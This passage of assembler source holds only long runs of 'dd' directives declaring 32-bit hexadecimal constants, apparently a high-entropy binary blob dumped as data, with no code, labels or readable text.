		dd 0B5E70007h, 4CFFC9D0h, 0B0CC60D6h, 1AC52AFAh, 0A4D9DF01h
		dd 0A502265Fh, 8873D0h,	6BBB0CF9h, 1C643CA8h, 55562C06h
		dd 30CE90D7h, 3DD091B9h, 0A55C5DC6h, 92D844A9h,	0C9841803h
		dd 0A5C0912Dh, 0DFA5A101h, 20800D04h, 602E0596h, 0D2075D3Eh
		dd 0D3D07BC8h, 3093342h, 6FE0EC28h, 0D00E81Ch, 0BCF77D84h
		dd 709954C8h, 9BBB0083h, 0AB1D411Bh, 0CB50BE80h, 210001A8h
		dd 0CA559456h, 0DCC29B52h, 598A7BC0h, 78D765h, 0DF14C540h
		dd 4486A509h, 0A8F88D6Eh, 52E96D00h, 0B99847EEh, 2ECE0EF0h
		dd 0C94E01CAh, 0D33204E0h, 4900B702h, 0EA3BADB5h, 0B652F3h
		dd 22E858B9h, 0E63447E7h, 0F7019D18h, 735430h, 0FA3905DAh
		dd 3F886892h, 71DDF0FDh, 0D960827Ch, 3A3C1D5Eh,	0D7223A5Eh
		dd 210B7A80h, 97FAB77Dh, 3F80A800h, 64AE3054h, 9B110053h
		dd 6D2010Dh, 39000AF0h,	3B3CDA29h, 47729Ch, 97436576h
		dd 937C7ABDh, 0C41E400Fh, 4015CF61h, 0F405B8E1h, 0A15800B4h
		dd 427B102Ch, 81B88E9h,	0A828CA76h, 2F7869h, 7C35E215h
		dd 73D9FFEDh, 20C6A430h, 0D8D2B7h, 74E08565h, 0F8C4BE31h
		dd 6AEB6E00h, 3CD17532h, 6047D0Eh, 5B9F3556h, 680038E6h
		dd 0A9A5842Bh, 0E8605E0h, 85B5EACCh, 20AD2086h,	0BB5FE100h
		dd 2F4E0790h, 8C9C0363h, 9799B3A5h, 80CB89B9h, 18E00148h
		dd 1E7E395Dh, 0C0EB031Ch, 811B5A22h, 95EE2CB2h,	311EFB01h
		dd 76E1E7FEh, 6003B060h, 9D414068h, 0C2008AB7h,	0A549111Eh
		dd 5D007A2h, 0F2EE757Ch, 0EB843009h, 157BD7D8h,	5C103143h
		dd 0FDA10081h, 6C16E935h, 7971006Bh, 628FC1EDh,	38142C37h
		dd 0B028F1h, 694994CDh,	688C0CCh, 12639F70h, 870091DAh
		dd 2AEB65F8h, 7F241Dh, 6A138194h, 40E5EC23h, 0ABD07150h
		dd 0D2030A43h, 7AB08B35h, 0A54C9040h, 809AD0A9h, 0B8E315B8h
		dd 722C00Ch, 191AAAFBh,	62915096h, 3E00FC83h, 76A6F402h
		dd 0DE05B355h, 3A2D58A8h, 401D3429h, 89C18A4Dh,	7C83791Eh
		dd 2BD7B181h, 220BEE4Fh, 0E35C002Ch, 0E51FA739h, 0EF690FB3h
		dd 4060493Fh, 9A66FB98h, 21361B09h, 8E08041Eh, 12BA3960h
		dd 375DE110h, 0ACB3C4h,	9DA58890h, 0D6931DFCh, 0F5C6C04Ah
		dd 0ECB9788Ah, 61C5D300h, 248CD444h, 0D2A1C07Eh, 41AC1BE5h
		dd 3A0E5DF8h, 8C4A0C28h, 6921A2h, 852606FBh, 5B768A33h
		dd 46CAC903h, 10C4674Ch, 0C0B9D251h, 403A1B13h,	22434384h
		dd 0EE9F04D5h, 0C3577C06h, 0DBC12BF0h, 1203C8B4h, 0F8181C00h
		dd 8745E370h, 1F781491h, 8410E894h, 0A7CDCF08h,	83D21593h
		dd 1344579h, 0D1D78F3Bh, 6F36207Eh, 87142DE4h, 14B0FFB9h
		dd 8058D583h, 4C54CE39h, 3BE3A0Ah, 5667E20Fh, 72D38D00h
		dd 0E101C855h, 84EC0644h, 6670A064h, 8EE90B2Fh,	8A876560h
		dd 9923E339h, 0E383000h, 0E1520CCBh, 11BF3A21h,	0BE6EEF80h
		dd 0D8A68E6Ah, 39597B61h, 49315A8Ah, 3C48F404h,	9CA4809Ah
		dd 1C8AC644h, 59132800h, 483F227Eh, 83BC073Dh, 0F0535608h
		dd 77A9A42h, 542018C6h,	988F0F89h, 343DCBE1h, 92B6C010h
		dd 0F2E6A8B3h, 0E0D93E3Eh, 0D4AB5C08h, 0CFD30172h, 6922E7CDh
		dd 0B17EDC18h, 3AA47403h, 3E1CF476h, 0C98085D0h, 3135ABB0h
		dd 10009C7Dh, 0F590553Dh, 2A8E1220h, 470CC41h, 0A015A8Bh
		dd 20C36266h, 8F449ED9h, 0D2F26570h, 9943BE00h,	896847DDh
		dd 0FB0F12A3h, 75590061h, 0D24112A4h, 0F39938C0h, 2637402Fh
		dd 68E60h, 642738B8h, 5300AECCh, 22A51299h, 54A3A7Dh, 21D0B3DEh
		dd 75A005B8h, 0C9032C0h, 11923A30h, 884AA974h, 0CE8A806Bh
		dd 37A7B2CDh, 9EF90301h, 0D1ED13C0h, 7189F8h, 84388E76h
		dd 8B3CEA54h, 5218C4A0h, 2F00C2E4h, 0E6F2DE4Fh,	13927D0Fh
		dd 0C91315h, 41B53629h,	0D8C6711Bh, 13823EFh, 7EABECF1h
		dd 9E4F1139h, 2A80F3B1h, 27DE79FDh, 23492A96h, 6BD700A4h
		dd 0D242FEACh, 0B154C4BBh, 810029B8h, 63B9E991h, 1607313h
		dd 0BA4F0302h, 0F005644Dh, 8900926Bh, 50871D4Eh, 30591640h
		dd 0AB08105Dh, 92006827h, 741D6FB7h, 298D84h, 0D5C238F4h
		dd 10ED40B9h, 0C361C903h, 0FB93E8C4h, 415F060h,	0CFEF06B4h
		dd 80AB3F71h, 1E5F2C00h, 20466CC6h, 66AE0762h, 0A04A01E3h
		dd 313ECBBBh, 4C2C3001h, 0F912C2FCh, 7B4769F4h,	0A4DD00F4h
		dd 3E86FE99h, 42308773h, 19E9982Dh, 0C1D100B2h,	0C2288388h
		dd 0F674AF10h, 4A21D661h, 0B1CCEB01h, 0E0901E0h, 0AA257DB2h
		dd 868360DFh, 4317334Ch, 30A5A288h, 0BC00D3BDh,	56F7932Eh
		dd 0C99FC44h, 0E9907EC0h, 0B84A2F49h, 711546A8h, 0B38C477h
		dd 0B45C6380h
		dd 0D2D60A6h, 790ED63Ah, 8A9139C0h, 987866h, 97240D2h
		dd 108574F6h, 77FE1F0Bh, 43B9023Eh, 6BACA05Ah, 0EF9FB2h
		dd 0F5F687B6h, 0F4E6DF6Ch, 0E8604AE8h, 0EEEB3020h, 0D5900E97h
		dd 50056E81h, 669040DAh, 0E8FC32FFh, 0A08A0A01h, 0EA095B83h
		dd 0A6293880h, 9C38D6A7h, 0F4F7C097h, 5BD205AFh, 6001BAA0h
		dd 9361A98h, 208C6D7Dh,	2B032680h, 79B81D4Bh, 11C0C8D3h
		dd 198EAE2h, 71054234h,	0C0ADF413h, 410DE7A3h, 58176EFAh
		dd 3EC0B161h, 2EF87379h, 3B2C6C51h, 0B578EE30h,	7EF0AD12h
		dd 42FB0E7Eh, 0E431408Ch, 4680E5E4h, 0ED8E10BEh, 40361F1Dh
		dd 16C43C4Ch, 6A07529Bh, 2369142Ah, 7DB8D140h, 65B8A7F8h
		dd 0C99C40DBh, 0E92B13F7h, 1CD3B300h, 0A9466AF9h, 7770398h
		dd 5295AB7Bh, 86F6FDA0h, 0FA039303h, 3EF0B03Dh,	13809111h
		dd 0D40BD5A2h, 0A363EC9Fh, 0FAC408h, 135E2820h,	0AC929B3Bh
		dd 0AD00F8F6h, 0C8CAB23Fh, 2FFE52h, 0CE9CE36Dh,	0FC49BA6Fh
		dd 945E2B0Ch, 7BF360F1h, 0D6E7017Ch, 0FE6D211Bh, 62A3D7E2h
		dd 80D42138h, 0AB55EC20h, 0B1232DAh, 9A9B83F5h,	0F18D3501h
		dd 0EDEBF4CAh, 0F8DF48A0h, 680C06FAh, 0D91A51F5h, 0D76F0F39h
		dd 0DE007EEh, 0A5356049h, 6B0FF01Ch, 38EF8780h,	78512E7h
		dd 43FAF56Eh, 0C89E8053h, 2A2CDD8Eh, 5A0F7983h,	42662017h
		dd 4570F5h, 0BE792B4Ah,	0DC7EF23Ah, 0DFD5D700h,	7BF387E0h
		dd 7AAC1652h, 5903AE73h, 0E88D3231h, 0BA503Fh, 62414D0Ah
		dd 0F592157Dh, 0ED223B00h, 0E75A5E8Eh, 36DE00C8h, 612C5677h
		dd 0C200B011h, 851E4B14h, 7948EA0h, 0A5E8A45Eh,	1090562Dh
		dd 0DF3A8100h, 1F048C68h, 0B87548h, 0EAA418C3h,	0E4E73BDh
		dd 0FEF89500h, 0DE3CF29Bh, 0C4B60082h, 47335064h, 9800840Fh
		dd 49F2D1Eh, 1D1FB73Dh,	40D6FE1Ch, 93E954D1h, 571D336Ah
		dd 75C0CF11h, 3F440B04h, 0CB3D0235h, 0D79FCE34h, 0A0A54360h
		dd 0BA61873Dh, 71380144h, 928CB498h, 99BC30h, 21BB5146h
		dd 19C6B030h, 0ED889A00h, 40645B7Ch, 4E4C001Ch,	8020A856h
		dd 51005AD2h, 774F59F5h, 0A00C0481h, 0FBE3F4h, 1964E117h
		dd 0EDBD5E9Bh, 0B52F0B16h, 1366C201h, 75F08048h, 0FA8900FDh
		dd 0C15698FEh, 40C001C3h, 43CFBBF1h, 1DAE78AAh,	821740C7h
		dd 20E6F45Bh, 3C98AEC0h, 9EDE5800h, 0D8E8CDA6h,	4B160052h
		dd 1134706Ah, 0BE71FA80h, 0D5E75400h, 0E308FD4Fh, 0A9C300FCh
		dd 9DF618DEh, 9C0039C7h, 0C1B2797Bh, 60C6AFFDh,	2037B01Dh
		dd 0E90004B3h, 852C9409h, 7593AAA7h, 1C7C64h, 0D011F876h
		dd 0B1016554h, 9800E0FCh, 0E9A3209Eh, 3F7E5D84h, 3F80152Ch
		dd 0E0C537E7h, 0CB00FB58h, 0C347EDDCh, 11D034h,	2562A2B6h
		dd 7DF27BF5h, 8EE3B000h, 0B95BAC14h, 1D707D4h, 9062BB9Bh
		dd 5ACD2A7Fh, 63CF3A00h, 0AD318589h, 17D23B67h,	698B7B83h
		dd 0A905F88h, 7A0040CCh, 3578B75Ch, 160FC1h, 9B6015C5h
		dd 93E5C842h, 9D925000h, 594103E3h, 7C211C7Fh, 3128C089h
		dd 4F5F9A88h, 610751E6h, 9BE9C823h, 0C4A9ACB0h,	0BF43005Eh
		dd 189DBD8Ch, 2B01C538h, 75287814h, 0A0708F6Fh,	0B8BA005Bh
		dd 5CD98730h, 0EB0BF34Eh, 0DFA07433h, 25C40380h, 0AC772D5Eh
		dd 0BF55C200h, 6A14EDF3h, 0EF500098h, 0A85405B7h, 0A0023A87h
		dd 0FD4D4ADFh, 5A69400Eh, 0BB6A0071h, 24DA1DC8h, 0AEC1183h
		dd 9800E6B0h, 859E8CE5h, 19BBD5h, 0AA1B9C52h, 0D7699A01h
		dd 0BCD62000h, 0AF380DF0h, 0C50E00EEh, 74C21E33h, 61736CDAh
		dd 0D99D3D00h, 5B20A379h, 1642003Ah, 14F380E8h,	2702A92Eh
		dd 4FF51A17h, 0D4F3C07Dh, 327D5Bh, 74E5D692h, 970C4016h
		dd 3D6E5107h, 0D2E01328h, 7F8421Ah, 48A73BC6h, 91C180D7h
		dd 7D00E81Eh, 0AB93CFA5h, 0FD236Eh, 156DD642h, 5BAFB9E4h
		dd 839F391Dh, 57FB9981h, 1080327Dh, 72A53E3Ch, 0D803DC30h
		dd 0C0FEEA74h, 56B3F0BBh, 685224CEh, 0E8750042h, 5531DCBFh
		dd 946E38C1h, 0E1E810D7h, 0FBAE046Ch, 0C009402Ch, 0CD8A38F5h
		dd 0BD12AB00h, 0AFDB1DF0h, 36D10023h, 7DC7611Fh, 0FD00010Eh
		dd 5A384776h, 82CDBFh, 0E42021CFh, 2E7C5C9Dh, 0E9B6D50Ah
		dd 509EACD8h, 0E4884E40h, 0A9C7D2h, 0D7B63BCDh,	1B55CBF9h
		dd 36F67A1Fh, 5921C900h, 19F25Bh, 105C11A2h, 38BB1DDCh
		dd 0AEFF411Fh, 0F16DD980h, 0D6C146h, 0F2A8912Eh, 49165582h
		dd 522DE400h, 0A53F92ADh, 9EE00710h, 705E22BFh,	0C9CCD606h
		dd 3A57750Fh, 2A6BE123h, 0A12095BEh, 21803A94h,	8AFE3D0Eh
		dd 1F002D2Eh, 5C58E906h, 0CC1DDB01h, 72DCCE59h,	105BEF0h
		dd 0DAF19DA3h, 0C4B1944Ah, 240055BDh, 83675F54h, 53CA6Ah
		dd 62BA0495h, 0C18F2339h, 0F2DD2700h, 9A314FEFh, 0ACD10053h
		dd 3EC5D614h, 41581E1Ah, 73CA3A0Fh, 9842E500h, 48DF8370h
		dd 0BD3A0085h, 0A2201EA5h, 0E303795Ch, 4053B2F1h, 0F04CDB23h
		dd 0C1A922h, 580660E5h,	11946CBDh, 0A3961201h, 0E251F10h
		dd 75B0D9D4h, 3C55031Ch, 98E59931h, 0AF2ADCD8h,	1F710D1Ch
		dd 63036DC0h, 0F2D82CCh, 0C492B2A4h, 75FB62A0h,	8800C247h
		dd 5C4F7EFDh, 5C4A1B5Fh, 0A80124D3h, 0F994D5Dh,	10EDC486h
		dd 4509FD03h, 0C0D0272Ch, 1854FE12h, 19E4A7CEh,	903AB2D3h
		dd 0C4220E17h, 0C293E020h, 6B73A5h, 7950C6CFh, 16BF8948h
		dd 0EE9FED17h, 0E85A3700h, 3CDE6072h, 47877F75h, 0DEA2FF53h
		dd 0D1DCD5A0h, 371CC357h, 0D8412CA4h, 0A8DF4B91h, 7B193A20h
		dd 0C2FD006Ch, 0D7FC5C4Ch, 970011E4h, 78134929h, 7D1E386Bh
		dd 0AE060FEAh, 1CC01A68h, 0F604EC5Bh, 511F6FE6h, 0E40B4D4h
		dd 0EA084944h, 82A6007Eh, 8D370669h, 2F00E809h,	4C6D1C5Dh
		dd 3088BD74h, 971C9570h, 20008605h, 5C5085DDh, 4C76436Bh
		dd 40EDB74h, 0AD636F7Dh, 1A80E3C4h, 847D2393h, 20766000h
		dd 8C7283DBh, 71F74D1h,	0D5D315BFh, 6557A0F3h, 0FCB8E1E6h
		dd 7A008575h, 3D6CC0B1h, 5821AC6Bh, 0B23CF49Ah,	67B0C285h
		dd 0E18480DEh, 0EF00E49Ch, 2ED1C4D5h, 3F25EECh,	0DC738A59h
		dd 44F04820h, 0A80EA24Ch, 20A04D8Eh, 0E9359922h, 0B630001Bh
		dd 55395CD3h, 2C00B062h, 0D56781CFh, 427E79h, 98500865h
		dd 3E02E978h, 0EAA19D13h, 90098903h, 96710F15h,	83C088DEh
		dd 0EBE44382h, 930727E8h, 6BEC2FB3h, 2056109Ch,	44782E39h
		dd 4186DF00h, 10CC6AF0h, 4F1200DBh, 9801070Ch, 94077C37h
		dd 0DE821AFCh, 0C58731F0h, 0D4D80092h, 5E3354DDh, 94EAE524h
		dd 2E027400h, 5BE1BB72h, 0E390C322h, 0A2C00627h, 0BE1288AEh
		dd 8900536Ch, 0B3803390h, 5D770135h, 3A831CECh,	7990804Eh
		dd 7B225458h, 0A1F10228h, 71D55301h, 2EE3DA60h,	16F3F518h
		dd 4A52F1h, 7D2C4CBBh, 329A9C20h, 0F1710C00h, 2F36C318h
		dd 79561312h, 0D62E0161h, 0E08CCF57h, 0AB1FC5D3h, 5B80C16Fh
		dd 0E7043543h, 58290008h, 31BA078Eh, 0BD1FB6C2h, 52C038C1h
		dd 106AD9A5h, 74B51DA1h, 103D633h, 0CEB750Bh, 0CB34CC6Bh
		dd 1F0D2800h, 0D93C1027h, 233B2A60h, 798E0084h,	0D8F5A798h
		dd 8D331693h, 0C08C8h, 96023821h, 0FAF6AE30h, 31A86C1Ch
		dd 1A8A22C0h, 7BEB6F3Eh, 7CF00135h, 612950F1h, 913F71A9h
		dd 0C9800368h, 396EF395h, 552360Ch, 9D0831h, 45A70115h
		dd 6CA53B80h, 9CEBD103h, 0E0DAFD5Ch, 7B3615A6h,	9E530072h
		dd 802357DDh, 8E00CD42h
		dd 6E3CDFA4h, 0BA5168h,	72A7021Fh, 0F015FEE2h, 41054430h
		dd 1FB8DE01h, 58878C0h,	0C6E60204h, 0A6007893h,	6712D635h
		dd 148EE1F8h, 0D9B90C9Ah, 0A6503033h, 0A51172F8h, 47B00507h
		dd 27E01364h, 77D83Bh, 0CA7829B7h, 0D5FBF083h, 0A7712160h
		dd 1885505Eh, 0A00DC524h, 7FFC20B4h, 6219B65h, 43E0883Ch
		dd 55040716h, 2B20633Dh, 0DE020Bh, 823742D8h, 0D97D7F0h
		dd 74F72A03h, 0A715939Fh, 3D624A90h, 75E0E0Ah, 0F4C0B1D3h
		dd 0F527D016h, 37FD9502h, 855A0B94h, 4283C0Ch, 87081158h
		dd 8F00AE8Ah, 2402DC6Fh, 4000725Ah, 90AD6186h, 1B10B4FBh
		dd 318BFC42h, 8121E0B1h, 0F409E338h, 75D1D1B4h,	0BCF2A7F1h
		dd 4C865234h, 3F9FC3E0h, 76F810C0h, 1E3A82FCh, 0C33B85FAh
		dd 0BD7ED21Fh, 88741821h, 3E42E1DFh, 511B113Dh,	86C5E18h
		dd 0C92186B3h, 0C417102Dh, 0EB227833h, 32790CA4h, 83AB18EFh
		dd 2A434384h, 7F2118FEh, 0CA2210CFh, 0FD9548A7h, 24FB2B18h
		dd 11849CE2h, 7718510Fh, 0A9630861h, 844C520Ch,	0B24A847h
		dd 53548450h, 90A6D20Ch, 112A3743h, 0CE8B2018h,	49096802h
		dd 47517B2h, 0A1185838h, 4EF8BBh, 822C4CCh, 0ACB8370Dh
		dd 0ABC19500h, 0CED9FE48h, 0A47D0050h, 9392D1A5h, 0CC0020E1h
		dd 7BE8A784h, 822AD2h, 669071F5h, 0DEE3DA4Bh, 0DF09CB03h
		dd 0D8162Fh, 58775F40h,	88AFED2Bh, 0E2394E00h, 370CFA73h
		dd 0F3B184Fh, 914B18BCh, 31801000h, 5E905135h, 28FC799Ah
		dd 5C5071F8h, 7300EE0Fh, 0DA5FB1D7h, 0A23021CEh, 3CA68985h
		dd 0A88E6032h, 64B709DFh, 33EC4800h, 0D4B250CFh, 1C4D52D6h
		dd 0C0F07DB0h, 3A732D06h, 72B178AAh, 0C1810014h, 4E393BA9h
		dd 5D0420E8h, 2D983EDAh, 8572C1FFh, 85981B9h, 41BD1576h
		dd 5AE18086h, 0C17128BAh, 722AC506h, 0C3D809FEh, 304E6610h
		dd 8290513Dh, 15FC61F6h, 3F14A12Bh, 0DFF12E80h,	734C0A0h
		dd 1DCDC1A7h, 36254034h, 0F9704EF8h, 0C0A2337Bh, 0FA9508C0h
		dd 213AE8A0h, 7FC2639h,	998FBEAEh, 0FD6CD870h, 1908ECFEh
		dd 0B8219831h, 5200F629h, 0C012D44Bh, 2C41498h,	6D727266h
		dd 818E0C00h, 4F19FD18h, 0EEC0F5Fh, 0B966F512h,	81C542DDh
		dd 680391A8h, 0A1230A33h, 404AB327h, 2DCDEA01h,	4036C41Ch
		dd 0BF983AC8h, 950008B8h, 2FAE8D41h, 0ECB40821h, 9918614Eh
		dd 0E086A73Eh, 40959988h, 0E8F47C20h, 0DEEF004Ah, 9714505Ch
		dd 0AA0ECCDFh, 9CD7D370h, 0D19E0D8h, 18F60052h,	9E6CCAF4h
		dd 0DFF84BC6h, 21CFBF74h, 19A28CD9h, 0DD320747h, 4F2FB9BBh
		dd 31C4B686h, 0FD513861h, 5ACC530Ah, 1626070Eh,	0CC0483C8h
		dd 0B00AA90h, 540C446Ah, 60238212h, 4D241896h, 4F30B2E5h
		dd 0AC1410F3h, 0AD1E1E77h, 0E1FCC0C5h, 16804460h, 0DC9FB00Eh
		dd 0BEB1800Ah, 0C22C56BCh, 589B7018h, 44FA80A0h, 0A0C188A3h
		dd 52BDF7EAh, 804F08D8h, 41C333DFh, 0E86637B2h,	14342FBh
		dd 0A39E4C9Bh, 0EADC7999h, 0A000CAE2h, 0AE52C1B0h, 9C0DD405h
		dd 80412BBBh, 416FCA9Bh, 0C027C1D0h, 45D10CC8h,	970C8560h
		dd 78C8B5DCh, 43ED0390h, 28F89CAEh, 7CFA280Ch, 0CBBA0A2h
		dd 0AB720793h, 7910CBE8h, 0A2002DCCh, 0F85A05Ah, 2202E628h
		dd 38837FFDh, 6C9081FBh, 0C853BEC8h, 76E811A3h,	71883212h
		dd 0B58A81D4h, 305C733Fh, 475A2197h, 1A1EF42h, 18A01D7h
		dd 0E5CCC497h, 595600BFh, 0F39C4785h, 9107FE1Dh, 0C8433C4Fh
		dd 6C426601h, 41752020h, 8A80D2C4h, 8208BA6Eh, 0B2B940E5h
		dd 30625052h, 80C64371h, 58458388h, 0ED3036Bh, 749BA6F8h
		dd 510F7803h, 1C7166Ch,	0D4723851h, 0D0478AF6h,	0A0A099A4h
		dd 3A4277FAh, 8FFBE80Eh, 0B4AA942Fh, 312E0h, 0C4A31340h
		dd 210075BEh, 301242FFh, 9F1449Eh, 1638C8FCh, 50435021h
		dd 42A18364h, 2CC01ECCh, 425D0F9h, 8A0D264Fh, 0D4F20250h
		dd 88A34095h, 0DD8F48BCh, 68C84232h, 0BECE400Fh, 0A8390085h
		dd 0DB060AAFh, 0DE24FCEAh, 0E9809C1Fh, 4B41D68Ah, 10430FB4h
		dd 58616728h, 25656A0Fh, 458400E8h, 0A8608B9Dh,	1321F198h
		dd 0B45A24CAh, 46979D84h, 308AB5CFh, 39A4DC31h,	584036ACh
		dd 6C7A8B0Bh, 84B8E9AAh, 0CC506A70h, 152AC4ECh,	8C78F8E1h
		dd 12E56D3Eh, 841AC6Fh,	449BC588h, 35C05400h, 84F0FE2Ah
		dd 3E8DBB01h, 0B9636B72h, 10FD1842h, 0E2306A85h, 24D868D7h
		dd 0BB63367Eh, 0E5457829h, 988ACDCh, 0ADFC643Fh, 14207B09h
		dd 0E568B0Ch, 68EE801h,	89BA17EBh, 57874181h, 42BF6E29h
		dd 0B0044F08h, 0DB30AF72h, 0DCF750E0h, 506C0C3Bh, 6408285Ch
		dd 0AA60C83Ch, 3700A0FEh, 2A5BBE95h, 78B1801h, 0E51350D8h
		dd 43AFF015h, 7F01DC2Dh, 5B834E02h, 399589D7h, 64580497h
		dd 83A4940Ah, 0B7A010Ch, 34E3DE88h, 93545A74h, 750C18E4h
		dd 41FF0163h, 70A803A0h, 4B8747CAh, 3632B790h, 90007C91h
		dd 834A7CCh, 8A4E0768h,	0D54B5A4Dh, 7095827Ch, 2B0A2045h
		dd 0DC44C858h, 296C0488h, 20C8BA0Ch, 3CB290D0h,	770A44EDh
		dd 47E42C3Fh, 488E3367h, 25B1C900h, 0CE70F001h,	4628A06Fh
		dd 0FA99007Eh, 379D50C6h, 8373E28h, 2EC010A2h, 52FF88Bh
		dd 0C87097FCh, 0DC302169h, 52B195A1h, 0ADCA0548h, 0F0C040BCh
		dd 0E6C44258h, 0DE30DC43h, 84BD00E5h, 232157B7h, 4BF1FD04h
		dd 64C8DD44h, 0D7333FAFh, 2A0F3E0Fh, 2309460Ch,	0DCCF21CAh
		dd 0FC3FCC00h, 2433EEC1h, 47A05159h, 0BD8310E9h, 56789B9Eh
		dd 0C5FCBF00h, 59319815h, 0C35C076Ch, 62966A4Bh, 0F0A11783h
		dd 0DCF00E34h, 2B04308Bh, 50CB194Fh, 959CC3h, 0F0663B20h
		dd 391AF684h, 61068A76h, 0FD2A4212h, 0FBD12060h, 60C818A4h
		dd 0EF73C049h, 6821897Ah, 359127h, 0CDF00A92h, 3F620Bh
		dd 6127533Eh, 17858AEDh, 0C451101Dh, 0C9F1D87h,	0F83842Ah
		dd 90B975AAh, 0E3878C8h, 2948D0B1h, 4214D8Ch, 7623400h
		dd 18B2CDC3h, 70D8009Fh, 0D0814590h, 133614C5h,	46B0B896h
		dd 0EF740176h, 2A808B19h, 0D9882B0Ch, 0ECF00603h, 98C536F8h
		dd 0B877A300h, 0EA8B26CBh, 5F700D5h, 6D8214Dh, 0E6000DBBh
		dd 6BCB8696h, 7A91201Ch, 470C033Fh, 0A7B064ECh,	170A7CE0h
		dd 7FB4B602h, 60BAA58Bh, 3FAAE15Ch, 4C804060h, 16D5C2FAh
		dd 2A00B8EAh, 336C4E9Ch, 0EEDA04h, 9EF1A13h, 95EB31C1h
		dd 6DC9AC00h, 0C6F64019h, 0F3AB7C39h, 9B0308BEh, 5E13F550h
		dd 0ED4894F8h, 4AA12100h, 8BD59C9Ah, 0AEC51A2Ch, 59C038C9h
		dd 0CD01673Ch, 43F0F5FFh, 60864C30h, 68948A2Ah,	429DD30Ah
		dd 0C6143032h, 0B80CEE04h, 0FB1002E6h, 0BAADAC00h, 9C530D29h
		dd 35CF07CBh, 20E015A3h, 0FB1A2785h, 5A065900h,	0C899E767h
		dd 1C0396Ah, 0DA092981h, 70473C0Ah, 2B00D3B0h, 23E0C276h
		dd 0EA651027h, 0B2CFAC4h, 0A4D73F53h, 4E744600h, 2607B387h
		dd 0E0FBC9ECh, 635C5EC1h, 10B7BE8h, 0C45886B7h,	0F43E8B4Dh
		dd 0D5001488h, 0D47664A7h, 77A38FC0h, 6C190080h, 98AF1D41h
		dd 5A3C9E28h, 0F12B0FA9h, 0C559E0F3h, 5EC3F4h, 8789307Eh
		dd 36C43335h, 1C88B861h, 4E60F2C2h, 0AE40A8E1h,	0FBB7110h
		dd 0C2F12CFDh, 9FCE4320h, 6500BCFAh, 0ECDB4F32h, 0FA286640h
		dd 0FC370017h, 0DF3336D7h, 0CD006C21h, 0B5B6547h, 2D56A5h
		dd 433490ABh, 8159DAE0h, 0D9002AEAh, 0C63B1A7Fh, 0E591AEh
		dd 8EADFD60h, 32B0294Ah
		dd 0B2B60200h, 75B6D9Eh, 0CC4100FCh, 0EBAC9937h, 78243BDFh
		dd 659618D3h, 9B1B03BBh, 3CE840C3h, 38391813h, 3FE980CBh
		dd 288E8B04h, 9829016Fh, 0CC27E712h, 0D4DAD905h, 2600F9EDh
		dd 57E35B9Ch, 1F022C75h, 4046F897h, 452BA177h, 1C929456h
		dd 0FAB6A700h, 9C383EB7h, 5A430A4Bh, 388C3273h,	268E94B8h
		dd 0C060027Bh, 77EC8EBFh, 0D8D96400h, 2350DD4Ch, 75A3D96h
		dd 375BA801h, 204D0FD3h, 0FC00D7D1h, 0A1A61C80h, 17454Eh
		dd 64DEB2B9h, 1ECD977Ah, 18276F00h, 2BC28763h, 0E4F004Bh
		dd 0E85769A9h, 7000FD64h, 221B554Ah, 0B84999h, 73DBA33h
		dd 0F73BDD16h, 0CAF23E00h, 0BCF47D24h, 55BE0010h, 4B6EC3A1h
		dd 85009E88h, 76A25A6Dh, 607FB5FAh, 3D12C8D1h, 0CB00BDC5h
		dd 80771EF4h, 17D2DF0h,	2F7C6A46h, 0F8A33D40h, 3C2895B2h
		dd 24009492h, 154331ACh, 5E08F7h, 0A735116Fh, 0B517695Dh
		dd 0C24BDC00h, 0AFF2DBABh, 2A6B00C4h, 0D77E6A94h, 0E1005E70h
		dd 35B36706h, 7AFCC14Bh, 73ED07FDh, 6F9477E9h, 45FB9EA1h
		dd 62B5E0CCh, 53D99800h, 0BA150C70h, 0F19C06B4h, 915676B2h
		dd 9DD0B839h, 4787E52Bh, 0CD5099F4h, 32A4CCCh, 5648BC85h
		dd 0A7EDEFh, 0D3CA0483h, 0D6058F00h, 0BCD9ABC4h, 0DB090E94h
		dd 0C479B79h, 33F587h, 182E69D0h, 0F809FBBCh, 904637CBh
		dd 9B0E30h, 0DD0B9AA9h,	266F6E31h, 338C5100h, 0B6786328h
		dd 7913FAD7h, 0C2C51FA8h, 0ABBFBB5Bh, 0BFFB2280h, 29A56B2h
		dd 36E52000h, 4D2BB621h, 8D391F04h, 0BC33C070h,	86C28057h
		dd 8AEC4000h, 6D20A66h,	0C5910009h, 27E87652h, 130058A8h
		dd 39DCE221h, 9F934B9h,	72A08C2Fh, 0A54E0400h, 0AEEA1320h
		dd 8957D800h, 24EAE9CBh, 0D040C0D6h, 2B5B2997h,	0CD0B7000h
		dd 0A2FB0F61h, 8F4700A0h, 42C9F288h, 24030539h,	0E9A65AAEh
		dd 0D0E0C07Ah, 0A25D0025h, 68C1EFE6h, 0A300857Fh, 0ED89BA8h
		dd 0A96CADh, 0CA468E1Bh, 5B524471h, 0C25F4000h,	14276089h
		dd 2CD3B0D4h, 8020BE36h, 2644EA78h, 0B900A473h,	93D65E0Eh
		dd 785360Bh, 53A6E1Bh, 91305099h, 74000642h, 0F15CE598h
		dd 77E2978h, 75D98508h,	0E28BE00Ch, 0E03A02A6h,	801F004Ch
		dd 13B82204h, 5DA501C9h, 5B9B9512h, 2E00E24Bh, 7499BEB4h
		dd 69F307E6h, 2E6E219Ch, 7BADE9A0h, 3A00B366h, 351951ABh
		dd 3A829C06h, 2F803DDCh, 33646DD9h, 1717CA36h, 0F5003C19h
		dd 0A72D2650h, 0B9430E02h, 0A0AC819Bh, 0F742C8E8h, 5C28F100h
		dd 6C744BD6h, 6F16E40Eh, 0EF056EB9h, 226E00E5h,	7F36AD82h
		dd 0D18004Ch, 1227EA04h, 9400C20Ch, 0A732418Dh,	0E431D1AAh
		dd 84AE0080h, 73D209C8h, 8D0F8511h, 0C0D9B0CDh,	5E0B46F5h
		dd 44020136h, 82DFAEAFh, 0A3E9E8EAh, 9269D100h,	98C3E074h
		dd 23303B34h, 0CD9500Bh, 0F25A5000h, 693C55BBh,	0A42F8091h
		dd 0E64CE327h, 8ABF0094h, 6B3E8611h, 9E1CBAB4h,	3000F8D2h
		dd 0E48B2459h, 219F0048h, 1C191A8Ch, 0D3008FB5h, 839C99F1h
		dd 75C04Bh, 8D0239D2h, 475CB256h, 82457000h, 1F3D7CB5h
		dd 9EEEFFh, 0E102D2EDh,	4996E807h, 38D71900h, 0AB845A70h
		dd 7868001Eh, 562FA34Fh, 74002297h, 0FFAACB47h,	1DEDCF02h
		dd 0C0C28572h, 61F3D271h, 0A601299Bh, 0C88A0B22h, 87C0546Ch
